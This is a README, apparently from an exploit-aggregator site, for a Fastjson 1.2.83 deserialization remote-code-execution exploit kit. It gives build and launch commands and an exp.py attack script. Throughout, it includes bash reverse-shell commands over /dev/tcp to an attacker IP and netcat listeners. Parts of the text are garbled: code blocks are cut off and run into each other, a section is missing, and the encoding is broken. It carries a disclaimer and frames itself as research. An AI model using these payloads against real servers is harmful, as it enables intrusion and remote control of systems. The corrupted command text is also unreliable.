## https://sploitus.com/exploit?id=E6CF901B-BA80-58B4-B9CE-9946A714127B
# Fastjson 1.2.83 RCE Vulnerability Environment & PoC (QVD-2026-43021)
> ๐ฌ **Security Research & Educational Purposes** โ A demonstration environment for Fastjson 1.2.83 `@JSONType` deserialization vulnerability.
---
## โ ๏ธ Disclaimer
**All content of this project is for authorized security testing, CTF competitions, security research, and educational purposes ONLY.**
Before using this project, you must:
1. **Obtain explicit written permission from the target system** before conducting security tests.
2. **Comply with local laws and regulations**, and do not use it for any illegal purposes.
3. Bear all legal responsibilities; the project authors are not responsible for any misuse.
If you are using it for learning and research purposes, it is recommended to test it in your own machine or a self-built virtual environment. **Unauthorized use may constitute a crime. Please use it legally.**
> **English:** This project is for **authorized security testing, CTF competitions, security research, and educational purposes ONLY**. You must have explicit written permission before testing any system. The authors assume no liability for misuse. ---
## Contents
1. [Toolkit Description](#ToolkitDescription)
2. [Building the Arena](#BuildingTheArena)
3. [Starting the Arena](#StartingTheArena)
4. [JDK8-HTTP Mode (JDK 8 Only)](#JDK8HTTPModeJDK8Only)
5. [FD Chain Mode (JDK 8~25 All Versions)](#FDChainModeJDK825AllVersions)
6. [Common Questions](#CommonQuestions)
---
## 1. Toolkit Description
```
The arena is located in the `target` directory.
`mk.py` โ Script for generating manual payloads in FD mode.
`poc/` โ Independent, transferable scripts; can be placed anywhere.
โโโ `exp.py` โ Script for one-click exploitation
โโโ `GenProbe.class` Probe generator
โโโ `lib/`
โ โโโ `asm-9.6.jar` ASM bytecode library
โ โโโ `fastjson-1.2.83.jar` Fastjson dependencies
โโโ `www/` Probe hosting directory (automatically generated)
```
**Dependencies (only these two are required):**
- Python 3
- JDK 8+ (can execute the `java` command)
**Usage format:**
```bash
cd poc/
python3 exp.py attackMachineIP attackMachinePort targetURL [Options]
```
**Options:**
| Parameter | Default Value | Description |
| ------------------- | -------------- | ------------ |
| `--mode` | `fd` | Exploitation mode: `jdk8-http`, `fd`, `auto` |
| `--cmd` | `id` | Command to execute |
| `--endpoint` | `/parse` | API endpoint |
| `--timeout` | `60` | Timeout seconds (suggested 60+) |
| `--max-fd` | `256` | Maximum FD enumeration |
| `--tag` | `""` | Tag (for distinguishing multiple tests) |
---
## 2. Building the Arena
For the first use, you need to compile the arena and the probe generator. The project provides a one-click build script:
### One-Click Build
```bash
bash scripts/build.sh attackMachineIP port command mode tag
```
**Default parameters build:**
```bash
bash scripts/build.sh
```
### Specified Parameters
```bash
bash scripts/build.sh 192.168.1.107 19090 id fd
```
`scripts/build.sh` will automatically complete the following steps:
1. Compile and package the Spring Boot arena using Maven โ `target/fastjson-rce-env-1.0.0.jar`
2. Download ASM and Fastjson dependencies to `poc/lib/`
3. Compile `GenProbe.java` โ `poc/GenProbe.class`
4. Generate initial probes (optional)
### Manual Compilation
```bash
# 1. Build the arena (requires Maven)
mvn package -DskipTests
```
# 2. Download dependency libraries
```bash
mkdir -p poc/lib
curl -sL -o poc/lib/asm-9.6.jar https://repo1.maven.org/maven2/org/ow2/asm/asm/9.6/asm-9.6.jar
curl -sL -o poc/lib/fastjson-1.2.83.jar https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar
```
# 3. Compile the probe generator
```bash
javac -cp "poc/lib/*" -d poc poc/GenProbe.java
```
---
## 3. Starting the Arena
Each test **must start the arena first**, and **each test must be restarted** (JVM class loading cache). ### Starting Command
```bash
# 1. Clean up old processes
fuser -k 18080/tcp 2>/dev/null
# 2. Start (JDK 8)
java -jar target/fastjson-rce-env-1.0.0.jar &
```
# Launch (JDK 17)
java -jar target/fastjson-rce-env-1.0.0.jar &
# 3. Confirm the launch
sleep 6 && curl -s http://127.0.0.1:18080/info
```
### Expected response
```json
{"safeMode":false,"autoTypeSupport":false,"parserConfigCL":"LaunchedURLClassLoader..."}
```
**Key confirmations:**
- โ `safeMode: false` โ Vulnerability is exploitable
- โ `LaunchedURLClassLoader` โ Spring Boot FatJar
- โ `autoTypeSupport: false` โ Can be exploited without enabling autoType
---
## IV. JDK8-HTTP Mode (For JDK 8 Only)
> **Applicable:** JDK 8 (JDK 9+ fails due to defineClass validation)
> **Principle:** IP is represented as an integer (to avoid replacing '.','/')โdirect HTTP retrieval of malicious classes
```
switch-java 8
java -version
```
### One-click exploitation
```bash
cd poc/
python3 exp.py attacker_ip 19090 http://target_ip:18080 --endpoint custom_endpoint --mode attack_mode
```
Custom command:
```bash
python3 exp.py 192.168.1.107 19090 http://192.168.174.128:18080 --mode jdk8-http --endpoint /parse --cmd "id > /tmp/out.txt"
```
**Attack mode parameters:**
`jdk8-http` suitable for JDK 8
`fd` suitable for multiple versions
**Shell reverse shell**
```python
python3 exp.py 192.168.1.107 19090 http://192.168.174.128:18080 --mode jdk8-http --endpoint /parse --cmd "bash -c 'exec bash -i &>/dev/tcp/192.168.1.107/4444 applicable: JDK 8/11/17/21/25 all versions'
> **Principle:** Two steps โ โ Target downloads a malicious jar โ โก Enumerates `/proc/self/fd/N` to find and load the jar
> **Advantages:** Can exploit all JDKs; legitimate class names do not trigger defineClass validation
> **Note:** Longer timeout required (60 seconds+; need to iterate through 253 fd entries)
Switch to JDK17 version
```
switch-java 17
java -version
```
### One-click exploitation
Custom command:
```bash
cd poc
python3 exp.py 192.168.1.107 19090 http://192.168.174.128:18080 --mode fd --endpoint /parse --cmd "bash -c 'exec bash -i &>/dev/tcp/192.168.1.107/4444 โ RCE โ
Second attempt โ JVM finds it loaded โ returns cache โ does not execute โ
```
**Required:** Before each test, run `fuser -k 18080/tcp` before restarting. ### 6.2 Why return JSONArray? In FD mode, the JSON array `[{...}, {...}, ...]` is returned by Fastjson parsing. RCE is triggered during parsing; it has nothing to do with the return value. ### 6.3 How to confirm if the target can be exploited? ```bash
curl http://target:18080/info
# โ {"safeMode":false,"parserConfigCL":"LaunchedURLClassLoader..."}
```
- `safeMode` must be `false` (default value)
- It must be `LaunchedURLClassLoader` (specific to Spring Boot FatJar)
### 6.4 How to reverse the shell?
```bash
# Set the command to reverse the shell when generating probes
python3 exp.py 192.168.1.107 19090 http://target:18080 \
--mode jdk8-http \
--cmd "bash -c 'exec bash -i &>/dev/tcp/192.168.1.107/4444 &1|nc 192.168.1.107 4444 >/tmp/f"
```
Listen for incoming connections first: `nc -lvnp 4444`
### 6.5 Canโt connect to my HTTP service remotely? โ Check whether the security group/firewall allows the port
- Ensure using an IP that the target can access (public IP instead of 127.0.0.1)
- Integerify the IP: use `python3 -c "import struct,socket; print(struct.unpack('!I', socket.inet_aton('your_ip'))[0])"`
---
## License
This project is open source under **MIT License** โ see the [LICENSE](LICENSE) file for details. **Additional terms:** All users must bear all legal responsibilities. Use for illegal purposes is prohibited.
[source-iocs-preserved url=http://็ฎๆ :18080,http://็ฎๆ :18080/info,http://็ฎๆ ip:18080]